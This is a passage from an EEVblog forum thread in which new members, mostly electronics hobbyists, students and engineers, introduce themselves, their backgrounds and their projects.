But In the end, those few years of desk work caught up with me, with repetitive strain injury in my hand and shoulder (and a pinched nerve in my neck) pretty much rendering me incapable of working in my profession. (I could do technical writing with dictation software, but graphic design software is designed for a mouse, and no alternative input device works well enough.) When my last job ended, I decided not to look for work right away, but instead to take time off to focus on the health issues.

With the free time to do it, and the need to find something to keep me busy that isn't at the computer exacerbating the hand problems, stumbling upon eevblog was a happy coincidence. It really rekindled my interest in electronics, and I've learned more in the past year than in all the time before! (And learning both how much I still have yet to learn, plus all the things I have to unlearn because I understood them wrong as a kid.) After investing a fortune in ergonomics gear for my home office, I decided to also invest in my mental well being by spending some money on a basic electronics lab (things I should have gotten as a kid, had I known how much they accelerated my learning), including new meters, a scope, bench PSUs, a real soldering station, breadboards, and basic components. (And yes, Arduino too, though I need to be careful because of the RSI.) I'm working my way through the basics now, with very typical audio and LED control projects at the moment. :)

And as a funny aside, the mom and pop electronics shop that I used to use as a teenager (for what little electronics I did then) still exists, and I now live a <5 minute walk from it!

I've even given thought to going back to school and studying EE or something, though I have concerns that since all the design is done in CAD these days, I'd be condemning myself to another desk job that makes the RSI flare up.  :-// Not entirely sure what my next career will be, but whatever it is, it won't - no, can't - be a desk job.

Anyway I think I've rambled on far too much! Thanks to everyone here for the support and engaging conversation I've gotten so far! Feel free to drop me a line (in English or German) anytime!

Antonio
Title: Re: New Member, Please introduce yourself
Post by: strangersound on February 17, 2016, 06:46:49 pm
Hi, blokes!

Strangersound is my handle, Jason is my name. Been online for almost a couple of decades. Got my start in the original social media, which was of course, forums. Yay!

I'm a generalist type. Jack of all trades, master of a couple. Always looking to learn new things!
I've always been a tinkerer since I was a kid. Got my first real dose of a/c when I was doing a teardown of my clock radio when I was about 10 years old...with it still plugged in.  :box:
I like to learn stuff the hard way. Music is my main thing and I've had project studios of various sizes over the years. I primarily play guitar and drums, but I can get around on just about any instrument...enough to fake it. I've been into recording and sound engineering for a long time. I've run live sound a couple of times. I've got some friends that work in radio and have had some behind the scenes insights there, as well. I get into all things audio. I've also gotten into doing some video stuff, but nothing too serious. ;)

My main electronics experience is in the music areas. I also did a tour in the US Army as a 31V (Radio mech), so I did get some basic knowledge there. I also have a couple of years experience doing residential electric, and some hvac.

I also have a thing for computers, the net, etc. Been the go to guy for friends and family needing PC repairs, etc. Been battling Windows for years. ;)

I'm into all sorts of other stuff, but most of that is outside the scope of this forum. Thanks for having me, Dave! I stumbled on EEVblog on YouTube and have been a rabid fan ever since!  :-+
Title: Re: New Member, Please introduce yourself
Post by: ajm8127 on February 18, 2016, 02:58:44 am
Hi, my name is Tony.  I am from the US. My day job is RF engineer with a wireless telecommunications company. Where I work "engineer" is a loose term which means someone who understands telecommunications systems conceptually. There is a decent amount of thinking involved and there is tons of job security so it satisfies the goal of building a retirement fund while keeping me interested. I work to live so I can live without working (at least for someone else - I'll always be busy).

My real interests lie in electronics engineering and embedded design. I moonlight as an electronics design engineer and am working on my first ARM project using CMSIS and GCC.

I enjoy the serenity of the outdoors and working with my hands.

I recently learned what bobby-dazzler means. I am still trying to figure out what is so great about duck's guts. As an American, I prefer meat.

Nikola Tesla is my hero because he was a brilliant man who didn't really give a damn about money and followed his heart. Not very practical, but he was driven by passion. His genius changed society but his eccentricity was both his greatest asset and a liability. Maybe it is just that he was ahead of his time.
Title: Re: New Member, Please introduce yourself
Post by: Sevalecan on February 18, 2016, 04:37:00 am
I don't think I've introduced myself yet, so I figured I would before I make my next post in the beginner's section.

I'm a 27 year-old EE student in Saginaw Michigan. I've been fascinated by machines of every type since I was a child and I now enjoy working on my own vehicle which I learned from my dad, tinkering around with electronics and trying to repair them, as well as undergoing flight instruction to become a private pilot. I also taught myself to program computers when I was 11 and opted as EE for my major over CS so that I could learn something new.

There isn't a single area of EE that interests me necessarily much more than the others, rather I'm interested in all of them. I'm hoping to gain some practical skills here for some of the new material I'm learning in class, but which I don't think they're going to show me any practical implementations of.

I tend to focus on the subjects I find more challenging, which is why I'm an EE major and not CS or ME. That'll probably also be the focus of my posts to begin with as I'm interested in figuring out how to learn the things that I think school may not teach me.
I do have a tendency to focus on the subjects which I find more challenging, which is again the reason why I'm not a CS or ME major.
Title: Re: New Member, Please introduce yourself
Post by: broz on February 18, 2016, 04:55:09 pm
Hey everyone!

I'm Jared from Canada (as you probably assumed from the flag on the left), 29 years old and in my third year of EE. Looking to make electronics my career once I graduate; so, like most of you, here to learn and converse with like-minded people.
Title: Re: New Member, Please introduce yourself
Post by: Abbas on February 19, 2016, 03:29:18 pm
Hi, I'm Abbas from Philippines!  :-X
Currently studying Electronics Engineering (4th year)
Well I have been in Electronics since I was a kid and pretty much have knowledge about most of things. I joined here because of Dave's informative and fun blog and alao because of my unstoppable curiosity  ;D 8)
Title: Re: New Member, Please introduce yourself
Post by: Stori on February 19, 2016, 05:09:41 pm
Hello everybody :-)

I am an ICT student from Germany
The eevblog is one of my favorite youtube channels
I am more the computer/software guy but I am intersted in electronics too. I did a few small electronic projects and repaired a lot of electronic stuff but I still have to learn a lot about electronics.
My "lab" is a bit lame but I buy new tools now and then when I need them.
One time I read an article written by a guy who reverse engineered alpines m-bus protocol. He did this project back in the 90s, there were no arduinos and raspberry pi back then, he had to put all the parts and the microcontroller together himself (for the communication with the cd-changer and radio). He knew nothing that protocol, so he had to use his oscilloscope to analyze all the signals.
From then on I just had to learn more about electronics in general because I was so fascinated about the whole process and everything.
Title: Re: New Member, Please introduce yourself
Post by: joopterwijn on February 19, 2016, 09:49:43 pm
Hello my name,... well look at my forum name ;-)  I like clarity, so; Joop Terwijn is my name. I live in the Netherlands Europa. And no it is not Holland, that's only a small part of the country. I played around with electronics in my teens and operated a ham radio and same slightly illegal stuff :-). Then other priority kicked in and it all went to the background. Now I slowly am gathering equipment to restart again. Like the eevblog for it no nonsense approach. Love YouTube and take in as mutch of information as possible.
Title: Re: New Member, Please introduce yourself
Post by: LHelge on February 22, 2016, 01:29:42 pm
Hi,

I'm LHelge, long time forum lurker, YouTube subscriber since 2009 but just recently joined the forum. Embedded systems engineer from Sweden with M. Sc degree in Mechatronics and Control Theory. Been an electronics hobbyist for ~10 years and since I moved to a house a few years back I've started building a lab in my garage. Most projects I do at home is in some way related to electric vehicles (mostly bikes) or drones.
Title: Re: New Member, Please introduce yourself
Post by: Ronineter on February 23, 2016, 10:16:11 am
Hi, Im Ronald from the Netherlands.(Not Holland But Noord-Brabant)

Currently Im studying Embedded Electronics in Eindhoven and already finished a Study as a Engineering Technician mechatronics In Tilburg.
I've started playing around with electronics around the time I finished Elementary school because my father usually repairs some electronic devices for friend and i Did find that very interesting.

Now I've build up quite some collection of electronic parts and did some small projects with PIC Micros, Arduino's and other projects for personal advancements.
Now im planning to build some sort of control system that could fit in a 1/35 Tank model to combine with my other hobby building Tank models. I've also build a 3D printer like a Prusa Mendel I2 to make casings for projects and parts for the a for mentioned RC tanks since the models I've got are some old motorized kits without turret drives.(And Ofcother things then only that.)

And OFc thanks Dave for all the great Tutorials on YouTube. These helped me a lot to get trough Analog Design last semester
Title: Re: New Member, Please introduce yourself
Post by: Willy on February 26, 2016, 08:50:17 pm
Hi.
I Live in Denmark, and don't like to write post just to write ... this one is an exception ;P


Title: Re: New Member, Please introduce yourself
Post by: jambrose on February 26, 2016, 10:07:01 pm
Hi all,

I'm Josh. Long time lurker but hadn't officially joined the forum until recently. I'm a huge fan of Dave and his unique and entertaining way of doing videos.

My background is that i'm finishing up my last couple classes for a BS in Marine Science in the lovely Monterey area of California. I've always loved tinkering and learning how things work so it wasn't surprising that I got into electronics in college. Sadly, the college only has 1 electronics class (there aren't any engineering majors here). However, I work in a lab on campus where I've had the chance to, among other things, design and build an ROV (remotely operated vehicle) with another student and our advisor. I did most of the electronics work (choosing parts, laying out PCBs, etc.) which was a great learning experience. I do hope to start work on a second BS in EE in the near future after I've finished my current one.
Title: Re: New Member, Please introduce yourself
Post by: willm on March 01, 2016, 03:34:33 am

I'm a longtime lurker (learner) trying to make the transition between using black box instruments and making my own. My day job is as a geologist: a lab geologist, but I have friends who get outside...

Bill (Canada)

Title: Re: New Member, Please introduce yourself
Post by: SimonWasAnEngineer on March 01, 2016, 08:11:56 am
Hi all!

I´m Simon, 26 years old from Germany.

I started my "electronic career" in 2006 with an apprenticeship as electrician for devices and systems
("Elektroniker für Geräte und Systeme" in German, I don’t know if the translation is suitable :-//)
Main task were soldering and testing PCBs (SMD soldering by hand and with pick and place).

After that I worked several years in the maintenance department, fixing the modules the company produces all over the world.
Traveled to many interesting countries, but I didn´t wanted to do this until retirement, so I went back to school for a 2 year further education training. Now I am a state certified engineer (staatlich geprüfter Techniker")
But my "thirst for knowledge" still wasn’t satisfied :D So I started a "co-op education" (work 3 month - study 3 month - and so on) and will hopefully finish my Bachelor od Engineering in 2018 :D

I´m in this for quite a while and want to start participating now :D
Sorry if my English is not the best, it’s been a while since I had to write in English.

cheers
Simon
Title: Re: New Member, Please introduce yourself
Post by: tjeulink on March 01, 2016, 09:05:26 am
hello everyone, im tjeulnk. from the netherlands. im quite young and quite poor. thats about all you guys need to know ;)
Title: Re: New Member, Please introduce yourself
Post by: Keridos on March 01, 2016, 11:31:31 am
Hiho, Nicholas from germany here, currently studying physics but switching over to Computer Science soon. I am doing smaller electronics projects since quite some time, but never got around to the bigger stuff, mainly because the equipment needed is kind of expensive. Been following EEVBlog on Youtube for a long time now (several years I think) but only recently got around to actually register myself here. Been active sometimes in the comments on youtube, but not that often.
Title: Re: New Member, Please introduce yourself
Post by: julius oe. on March 01, 2016, 12:00:50 pm
Hi everyone !

I'm Julius. I live in Berlin (Germany) and studied EE,Audio E. and currently Physics. I do a lot of projects and thanks to the EEVB they get easier every time. :-+

Title: Re: New Member, Please introduce yourself
Post by: fantis1337 on March 01, 2016, 01:13:52 pm
Guess I have to post here. Hi, My name is Aleksandar and I'm a 25 year old from Iceland. I'm an electrician and I'm studying Mechatronics engineering in Iceland. As you can imagine I take interest in almost any technology and especially if it involves energy production.

I could call myself an inventor as I always look at things and argue how it could be better or how we would be better off without it. 

I'll leave you with a quote for the few of you who actually read these. "If you run into an asshole in the morning, you ran into an asshole. If you run into assholes all day, you're the asshole." - Raylan Givens
Title: Re: New Member, Please introduce yourself
Post by: Wor3d on March 01, 2016, 02:01:53 pm
Hi people, I was browsing the forum and sometimes I wote something at the IRC, but now I have more time to maybe contribute to discussions :)

My name is Maroš |:Maarosh:|, I am 16 year old guy from little country Slovakia in Middle Europe (I think we got like 2 items in the Mailbag, judging those I saw  :) )

I started getting into electronics like year ago (From computer stuff like programming (C#, PHP), graphics and video editing, and I'm still into Audio stuff (Live actions, recording, post-production)),all completely self-taught, watching some vids like GreatScott and stuff :) Later, i found Dave's channel, from "BOMB IN THE SCHOOL" rant video, and later I started watching them. Phew, I almost caught up with all videos :D

I started with salvaging stuff from old electronics, now looking back I threw up some things that I wouldn't do now, or I would try to repair it (some power supply, maybe it was just blown cap, dont know :D ). Now I am trying to get a bit deeper, reading The Art of Electronics (found out I bought counterfeit, thanks Dave, and bought original, so I am without it now  :'( ), designing stuff, etching PCBs, not really knowing what to specialize right now. I am slowly building stuff at home, bigger workbench (from - :scared: - 90*60 table to 180*90  ^-^ ), and putting aside some money for Hakko soldering station (I got "old-type", but from 2015, transformer hand-held soldering iron), ESD Matt, and all the stuff :)

Woah, this no more looks like "hello", more like Dave's "Quick update" :D

Anyway, glad to be here :) Looking forward to talk with you guys :)
Title: Re: New Member, Please introduce yourself
Post by: ToeJam on March 01, 2016, 10:48:45 pm
Hey;
I'm Keith from Southern Scotland.
I did electronics engineering at Uni, and came out right when Silicon Glen was shutting down.

I mostly do electronics as a hobby now and can wrestle a Rasp Pi into doing some basic things.

Cheers
Toejam
Because I'm always jamming my toes on the furniture.
Title: Re: New Member, Please introduce yourself
Post by: andrewhannay on March 01, 2016, 11:53:40 pm
Hi All,
Finally signed up to the forum after listening to The Amp Hour and watching the EEVBLOG videos.
I'm an electronics engineer specialising in Embedded micros but more recently been involved with FPGAs and I also get my hands into anything else electrical or software.
I've been in the business for almost 26 years and still love my job.
I also keep busy in the evenings with little projects that are not really complicated but fun, see the links below:-
http://www.instructables.com/id/DIY-Game-Watch/ (http://www.instructables.com/id/DIY-Game-Watch/)
http://www.instructables.com/id/Pong-Watch/ (http://www.instructables.com/id/Pong-Watch/)
Andrew
Title: Re: New Member, Please introduce yourself
Post by: electrogeek on March 05, 2016, 11:19:54 am
Hello everybody

I'm Andrew I'm a development engineer (Electronics, embedded software, c/c++, and ux in c#/Java/python+flask) in the area of building automation mainly, and from time to time systems intergration. I have a BSc in electronics from Waikato university in New Zealand. I enjoy fixing and making but havnt had the time to do much at home till recently. I'v already found the folks around here really helpful and I hope I can return the favour as time goes by.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: botcrusher on March 05, 2016, 08:46:01 pm
Hello EEV forum,

I'm Ed, from Canada. Just a high school student with some crazy ideas and a relatively small amount of spare time. I expect to make a lot of complete noob mistakes, so please feel free to (hopefully politely) correct me. I like messing around with python, a bit of C, and auditorium grade lights and sound.
Title: Re: New Member, Please introduce yourself
Post by: pitts8rh on March 05, 2016, 10:48:40 pm
Hello EEVrybody,

I'm a retired electrical engineer and UW-Madison (Wisconsin) alumnus from back when they still had IBM card punches and readers, I'm embarrassed to say.  I've lived in Minneapolis, Minnesota since graduating and expect to leave from here as well.  Spent most of my working time at Honeywell's Microwave Systems design group (radar), then got involved with a startup company for a few years, and finally ended it all at Seagate Technology doing high-speed/RF R&D.  Most of my electronics work these days is pretty humble and either centered around electronic music projects or creating support electronics for other strange projects.   I have a much neglected project website at www.technitoys.com (http://www.technitoys.com) that started out with high hopes, but these days it's either do something or write about something, but not both.

I first discovered and started reading this forum a little over a year ago when I had to find the source of the incredibly entertaining and informative videos made by this Australian guy.  Now on some nights I just have to turn off Netflix and put on a string of Teardowns or Mailbags.  Unlike Must-See TV, the EEVblog video comedy and drama rarely disappoints.
Title: Re: New Member, Please introduce yourself
Post by: douardda on March 05, 2016, 11:00:04 pm
Hi everyone,

I'm David from France. I've been playing with elecronics since I'm a kid (got my first scope at 14 IIRC).

Now I'm a software developer (kind of devops, for the sake of hipeness) working for a small software company in Paris named Logilab. We do mostly open source software, mainly in Python (for the fellow Python developers, we are the authors of pylint.)

I did gave up on electronics for the last 8 years or so (kids, too much work, then these last few years, I focused my interest on machine tools, and I'm slowly reconditionning some old ladies, namely a Socomo Star 300 lathe, a Gambin 1M milling machine and some other puppies).

I recently discovered Dave's youtube channel, then this awesome EEVBlog forum community. It made me want to bring out the old equipment from the cellar. I've started a modest blog on my experiments and repairs of my old HP and Tek equipments there https://whatever.sdfa3.org (https://whatever.sdfa3.org)

Also, a few years ago, I wrote a small python project to use a cheap Prologix USB/GPIB dongle to drive my test equipments (https://www.logilab.org/projects/pygpibtoolkit (https://www.logilab.org/project/pygpibtoolkit)).

David
Title: Re: New Member, Please introduce yourself
Post by: AntonSwe on March 06, 2016, 09:01:47 am
Hi everyone!

I'm Anton from Sweden, and I am currently doing my Masters in Electric Power Engineering at Chalmers University of Technology. I've been watching EEVBlog for ages, but haven't really found the courage to move on to the forum until now  ;) I like to tinker with various projects on my spare time, only problem is that there is not that much time left besides school.

Looking forward to interacting with all of you guys here!
Title: Re: New Member, Please introduce yourself
Post by: gsocker on March 06, 2016, 07:24:13 pm
Hi,
I've been a member for a year or so but haven't really posted much. I currently have a 2 year Electronic Engineering Technology degree but am going back to school to get a bachelor's degree in EE. I currently work on embedded devices(both hardware and firmware, it's a small company) and plan to continue doing so after I graduate, as I enjoy both fields.  Right now, a friend and I are slowly building ourselves a remote monitor for our weather stations using a Freescale FRDM-K64 board and a 320x240 LCD. I'm trying to post more here; I've pretty much overcome shyness when it comes to work-related stuff but still have trouble personally.
Title: Re: New Member, Please introduce yourself
Post by: TechieTX on March 07, 2016, 04:01:38 am
Howdy!

I'm an old-school tech, started in the late '70s (mostly self-taught, still ongoing...)  I'd worked for several OEMs in Phoenix before moving to Dallas 9 years ago.  The location change was for my health: Phoenix was killing me.  Unfortunately I moved just before the job market TANKED here in Dallas, and I'm *still* trying to get in with another OEM.  Service industries are hiring, but they're the pits to work for.  I started at the bottom and worked my way up to senior Engineering tech, so I have a wide range of experience in analog, digital, microprocessors and microcontrollers, not much RF (but some), no high-RF or microwave except for the IF and baseband end of it.  Being a high-level tech is about like a low-level engineer, and a few of the things I designed 20 years ago are still in production today.  That's a nice feeling.  Using a variety of CAD packages I've done schematics, PCB, CAM and assembly drawings/instructions for about 200-250 PCBs over the decades (I lost count...)  One time my 'source files' were literally scribblings on bar napkins.  ;D

The most fun was my last job in Phoenix, working directly for the VP of Engineering.  He's a STELLAR engineer, but he didn't like to do the nitty gritty part of bringing a new design up, so I got the first-cut boards and had to breathe life into 'em.  First run: it'd never worked yet, it might not EVER work, but I had to debug it and get it into production.  My job description was: "do whatever HE doesn't enjoy doing."  I'm a better tech than I am an engineer, so we worked well together.
Title: Re: New Member, Please introduce yourself
Post by: jfasoc on March 08, 2016, 08:15:07 am
Hi,
I am from Denmark, but living in Beijing.
I have been watching Dave's videos since they had 2 digit numbers and been reading the forum for a long time.
I started writing about problems I had before but writing the post always made me solve the problem on my own.

I have spend most of my life dealing with software but also always had an interest in understanding how the hardware works. I build several boards before from schematics but never really understood how they worked. The last couple of years I have been doing something about that by taking several online classes including edx 6.002x: Circuits and Electronics which helped a lot. Since then I have had made a couple of PCB's in Shenzhen and soldered 0402's by hand with my Chinese soldering iron.
Title: Re: New Member, Please introduce yourself
Post by: cinbody on March 12, 2016, 03:37:23 pm
Hey ya'll,

Thank you for having me in your community. Long time lurker, I just joined "officially" recently.
This forum is a great resource for learning.

I have never been formally trained in electronics, just self educated.

I started as a teenager in the 70's building stuff from Radio Shack chips pretty much straight off their datasheets.
Later on I tried the BasicStamp but quickly ran up against it's limitations.
I had some of the first samples of the "new" PIC16f877 which was electrically erasable if you can believe that.
No more of that nasty UV erasing. I made my own programmer for it because I couldn't afford the MicroChip version.
Now I play with the Arduino and ChipKits's uc32.
My favorite languages are Python and the C/C++/C# family.
Got my start with C by writing a TSR for an Intel 286 using C back in the late 80's

See ya around the boards.
Title: Re: New Member, Please introduce yourself
Post by: joao on March 13, 2016, 04:55:51 pm
Hello everyone!

I'm from Portugal. I'm in my forties and I want to learn electronics as a hobby. I already understand some basic concepts such as Ohm's law, Kirchhoff's laws, etc., but I have a lot to learn. I already have a handful of electronic books at home (Malvino's books, The Art Of Electronics, Learning the Art of Electronics, Practical Electronics for Inventors, etc.), as well as some equipment. Now what I need is ... time.
Title: Re: New Member, Please introduce yourself
Post by: scheetz on March 15, 2016, 01:57:56 am
Hi
Found your board the other day when I was looking to buy a scope. Have a Tektronix 547 which has stopped working.
By trade I was an industrial mechanic, welder and electrician. Now I am an Oracle Programmer.
For fun I work on stuff like car restoration and pinball machines, old EMs and Solid State but not very knowlegable in electronics.
My younger son is to turn 14 next week and I have gotten him a raspberry pi 3 to get him started playing with electronics and programming.
My oldest son is an Organ performance major and loves old keboards.  He buys em broke and expects me to fix em.
So far, a burton harpsichord with structual problems, Baldwin 635 church organ which has broken again, a rhodes stage 73 mark 2 which I had to rewind over 50 of the pickups, a yamaha CP70B with some of the action broken and a bunch of missing metal parts to make and now the newest, a Korg BX3 from 1980 with 1 manual not working.
I need a scope now to work on the Korg and the Baldwin and was looking at the Rigol DS1054Z.
Thanks again for all the info on this board escpecially the references for beginner in electronics.
Seems like a friendly place.
Title: Re: New Member, Please introduce yourself
Post by: AF6LJ on March 15, 2016, 02:18:19 am
Hi
Found your board the other day when I was looking to buy a scope. Have a Tektronix 547 which has stopped working.
By trade I was an industrial mechanic, welder and electrician. Now I am an Oracle Programmer.
For fun I work on stuff like car restoration and pinball machines, old EMs and Solid State but not very knowlegable in electronics.
My younger son is to turn 14 next week and I have gotten him a raspberry pi 3 to get him started playing with electronics and programming.
My oldest son is an Organ performance major and loves old keboards.  He buys em broke and expects me to fix em.
So far, a burton harpsichord with structual problems, Baldwin 635 church organ which has broken again, a rhodes stage 73 mark 2 which I had to rewind over 50 of the pickups, a yamaha CP70B with some of the action broken and a bunch of missing metal parts to make and now the newest, a Korg BX3 from 1980 with 1 manual not working.
I need a scope now to work on the Korg and the Baldwin and was looking at the Rigol DS1054Z.
Thanks again for all the info on this board escpecially the references for beginner in electronics.
Seems like a friendly place.

Welcome this is a great place for all things Electronics.
Title: Re: New Member, Please introduce yourself
Post by: Dave Atom on March 15, 2016, 08:14:09 am
Hi Guys,

Another Dave here, from Bristol in the UK.

Always a tinkerer, never a serious builder, but hoping to learn more and do more. EEVBlog's videos and forum are a fantastic source of not only information, but also ideas and enthusiasm. I've mainly done software before but looking more into hardware now, getting excited about using pics and fpga's together, so many i/o's :)
Title: Re: New Member, Please introduce yourself
Post by: fanOfeeDIY on March 15, 2016, 11:27:04 am
I never wrote my introduction here at the EEVblog.

The key point for me to start go into this hobby was my father brought home micro-computer magazine when I was in junior high school.
I read about three books of introduction of electronics and digital logic when I was 16 in high school.
I bought all components at Akihabara in Tokyo with nearly two hours train ride. Initially I was borrowing my father’s analog multi-meter.
I remember clearly that I was extremely happy when I was able to buy my own digital multi-meter after spending all my savings. I still keep the multi-meters and the logic board I made and attached the pictures.

It is my old good memories.

Honestly many people viewed me as a geek or nerd those days :)  But this self-studied knowledge during high school is making my current living. Have nothing to complain. :) I remember that it took my whole summer to debug and make the board work correctly.

I have better digital multi-meters now. :)
I still use analog one when I want to draw current, such as checking to voltage of the AC power lines on the wall socket. I learned here at the EEVblog by reading forums that recent digital multi-meter has LoZ feature to not to measure induced or ghost voltage.

(https://www.eevblog.com/forum/chat/new-member-please-introduce-yourself/?action=dlattach;attach=208474)

(https://www.eevblog.com/forum/chat/new-member-please-introduce-yourself/?action=dlattach;attach=208476)
Title: Re: New Member, Please introduce yourself
Post by: cmcollander on March 16, 2016, 04:17:45 am
Hi!
My name is Chris and I'm a 3rd year Computer Engineering Undergrad student at the University of Texas - Arlington in the United States. I've been programming and working with electronics since I was a kid (I'm 29 now) and I'm very excited to finally be studying what I truly love and am passionate about! I plan to continue on to my PhD After my Bachelors.

I work in a research lab on campus so I tend to have many projects going on at one time, but my big personal project right now is turning my old Arduino-controlled rover into an FPGA-controlled rover. I'm finally using encoders on my wheels and have all the encoder processing as Verilog modules, and also verilog modules to handle the PWM to the various motors. My FPGA is the Digilent Arty, which I absolutely love. The various inputs/outputs are connected to a Microblaze softcore processor that I'm programming in C as an embedded system. I plan on connecting this to an ESP8266 WiFi module for external communication, but overall it will be an autonomous bot. Some friends of mine that are more computer science oriented are currently working on pathfinding and navigational algorithms.

I've been watching EEVBlog for years and hopefully I can be a contribution to this forum.
Title: Re: New Member, Please introduce yourself
Post by: Blueled on March 16, 2016, 06:07:35 pm
Hello,

I'm Fred, I am Belgian and I live in Luxembourg!

I make electronics for almost 10 years now.

thanks Eevblog!
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on March 16, 2016, 09:31:05 pm
Welcome fanOfeeDiy, we do 't have to many Japanese members on here.
seems like Akihabara is Japan's nerd central  ;D .
Title: Re: New Member, Please introduce yourself
Post by: amsmith525 on March 16, 2016, 11:49:08 pm
I'm Andrew, live in Michigan, and I dabble here and there in electronics, computers, video games, amateur radio, etc etc :) Hello all!
Title: Re: New Member, Please introduce yourself
Post by: Evan.Cornell on March 17, 2016, 03:41:52 pm
Hello, I'm an active electronics engineer working developing high-end home automation equipment. I found the video blog recently; lots of great information to round off the work day!
Title: Re: New Member, Please introduce yourself
Post by: ali6x944 on March 17, 2016, 07:20:08 pm
I'm Ali...
I gess that's it...
Title: Re: New Member, Please introduce yourself
Post by: Kev31779 on March 18, 2016, 03:56:43 pm
Hello, Name here is Kevin, I am an avid enthusiast in the field of electronics and repair. I am also a Ham radio operator. I have been in the field of electronics since I was able to hold a soldering iron.  I finally got around to signing up for this forum. I also run a electronic repair channel on Youtube. Nice to meet you all.

Kevin
Title: Re: New Member, Please introduce yourself
Post by: zal42 on March 18, 2016, 04:35:23 pm
Hello!

I found this through the EEVblog youtube channel (which has taught me more than I can ever express!). I have had a lifetime of interest and dabbling in electronics. The first computer I ever owned was one I built in high school, based on the 8088 processor. Yes, I'm old.

My career has been more on the software side, particularly embedded systems programming, but I've always stayed close the metal in my heart!
Title: Re: New Member, Please introduce yourself
Post by: simook on March 19, 2016, 05:46:38 pm
Hi!

Long time forum lurker and viewer. I'm a software engineer, hardware geek, and hobbyist with hopes to share and collaborate on some of my upcoming projects. The Wife and I recently purchased our first home, so I've been keeping myself busy with all sorts of projects. Is anyone interested in Home Automation? Anyways, I've been a long time tinker of electronics and look forward to learning from the EEVBlog community.
Title: Re: New Member, Please introduce yourself
Post by: n3vti on March 20, 2016, 04:36:08 am
Hello everyone! My name is Chuck; I also go by Chucky. I am in Delaware, USA. I'm an on-and-off electronics enthusiast for over 20 years. By day I work in retail (Cough, *RatShack) I collect timepieces (I have over 200), calculators (Mostly TI), and I am a gamer. I am a ham radio operator, hence my username  :) I also have this thing for linear power supplies. I am looking forward to refining and expanding my knowledge of electronics!
Title: Re: New Member, Please introduce yourself
Post by: slava on March 21, 2016, 07:42:04 am
Hello, I'm Slava. I'm  from Russia. I  electronic engineer and repair master. I have a great experience reparing  Tv, microvave, avto multimedia equipment, power amplifer, car alarm, home computer, laptop and much more, about 20 years. Also i can to develop electronic circuit and change different software.
Title: Re: New Member, Please introduce yourself
Post by: joe 90 on March 22, 2016, 08:45:06 am
Hi, I'm Steve from NZ. I stumbled across this site after watching a few topics on Youtube...BTW one of the better channels.
I'm originally Post office trained, used to maintain electromechanical telephone exchanges (strowger) back in the '70s, retrained on crossbar, retrained on NEAX61, retrained on PABX, pretty much all the early electronic ones before deregulation, repaired circuit boards for them, got into TV, VCR, CD, phones,microwave ovens, pretty much everything old tech. Had my own repair shop for 10 years,  it's all throw away now I'm doing more on cars than anything else........kids....cars....electronics......fail.
Working with any sort of technology, you've got to retrain every single day.
Title: Re: New Member, Please introduce yourself
Post by: Random Model Maker on March 22, 2016, 11:33:02 pm
Hello, i'm Ivo, i'm from Luxembourg (what's that?). It's a small, but beautiful and independent country in the heart of Europe. It's the place where the Euro was invented (go figure).
I'm an ongoing (as of 2016) engineer in electronics and information technology (that's just how the germans like to call it, it's actually EE), I study at the KIT in the beautiful city of Karlsruhe (to the fellow KIT-ians: Hi :) ).
I like to work on stuff that generally mustn't be programmed and is not to fiddly and I like most those projects that can potentially kill me.
Title: Re: New Member, Please introduce yourself
Post by: reject902 on March 24, 2016, 06:43:54 am
Hey everyone, Andy from Chicago here. I came across this site a few years back looking for information on scopes, reviews etc.. Never bothered to register then, as I didn't really have much to contribute--just read all the great info here instead.  :-+

Most of the hobby work I'm getting into is electronics, primarily vintage computers. Finally picked up a legit meter (Agilent U1252B) this week to start troubleshooting with a bit more precision some of my problem boards. That said, I have developed a soft spot now for vintage Fluke's (thanks to these forums) and probably will be picking up a 8060A to compliment my old tech.

Looking to *finally* get myself that scope now. Had been putting it off for years (hobbies are never cheap) but I'm going to need one to do some of the adjustments the service manuals call for on some of these machines/peripherals.

Appreciate all the awesome info everyone contributes here! I've learned a lot from these forums and hopefully in the future I'll be able to give something back to the community.
Title: Re: New Member, Please introduce yourself
Post by: dvdouden on March 28, 2016, 12:09:21 pm
I've been lurking for a while now, thought I'd might as well register and introduce myself. My handle is dvdouden, I'm a software engineer in the banking industry and I'm somewhere in my early thirties. Have been programming for well over half my life now. My passion is in embedded software, preferably 8 bit micros. The second programming language I learned was Z80 assembler. I've worked as a games programmer for about five years as well. Mostly Nintendo DS and Wii games, always working close to the metal.
Anyway, I got introduced to electronics about four years ago, when I got myself an Arduino, and things went downhill from there  ;D Got myself my first scope (Rigol DS1054Z) last Christmas, and a decent multimeter (Fluke 8060A). Currently building myself a small man-cave (more like a man-corner really) where I can hopefully tinker in peace  ;D
Title: Re: New Member, Please introduce yourself
Post by: stubbs on March 29, 2016, 02:16:31 pm
Hello,

I am from Germany. Active Service Eng. in the field for Grove RT and AT Mobil /Auto-cranes.
I love to play with renewable energies and div. electronic efficiencies around the house.
Typical male with many expensive hobbies and toys.... lol
Title: Re: New Member, Please introduce yourself
Post by: cenkjc on March 31, 2016, 05:35:35 am
Hi everyone,

My name is Kevin, known as "Kev".  I did a degree in Electronic Engineering long, long ago (early 1980s).  Haven't worked in the field in almost 25 years, moving instead into the upcoming world of "Computers and stuff" (since "Information Technology" hadn't been invented back then).  I've dabbled as a hobbyist over the years, though.  To misquote, "I love the smell of solder in the morning."

I'm trying, now, to get back into the game - just as a hobbyist - which has moved on soooooo much in the last 30 years.  (and now that I read this back before sending....I realise that I'm ancient!)

I really like Dave's videos.  Informative and entertaining.  Even the classroom stuff with Dave at the whiteboard is nothing like the lectures I sat through (OK...sometimes snoozed through) back in the day.  I must, though, apologise to any of my former lecturers who may be on this forum - it wasn't your fault I snoozed; it depended on amount of beer the night before your lectures.


-Kev
Title: Re: New Member, Please introduce yourself
Post by: link47 on March 31, 2016, 02:42:30 pm
Hi all,

Jason from Milwaukee here. I've been working in embedded software for 10 years now, looking for a community to share my ideas on some open source projects.
Title: Re: New Member, Please introduce yourself
Post by: tri-be on April 01, 2016, 05:03:43 am
It's the perfect time to say hello. I'm a long time occasional lurker. I discovered Dave around EEVblog #395.

Last year I had to create a company to support the electronics design consultancy my partner and I started doing, after trying to find an exit from some crappy non-electronics business we were mugged into running (we're still involved with that for now).

We have several projects on the go that I won't go into any detail about (that jinx thing) until one of them reaches a significant success. Some of them are quite big and impressive sounding.

One is an upgrade to the electronics for some medical/scientific scanner technology. Another is for various work related to equipment to detect if your multi-million dollar piece of equipment is falling over.

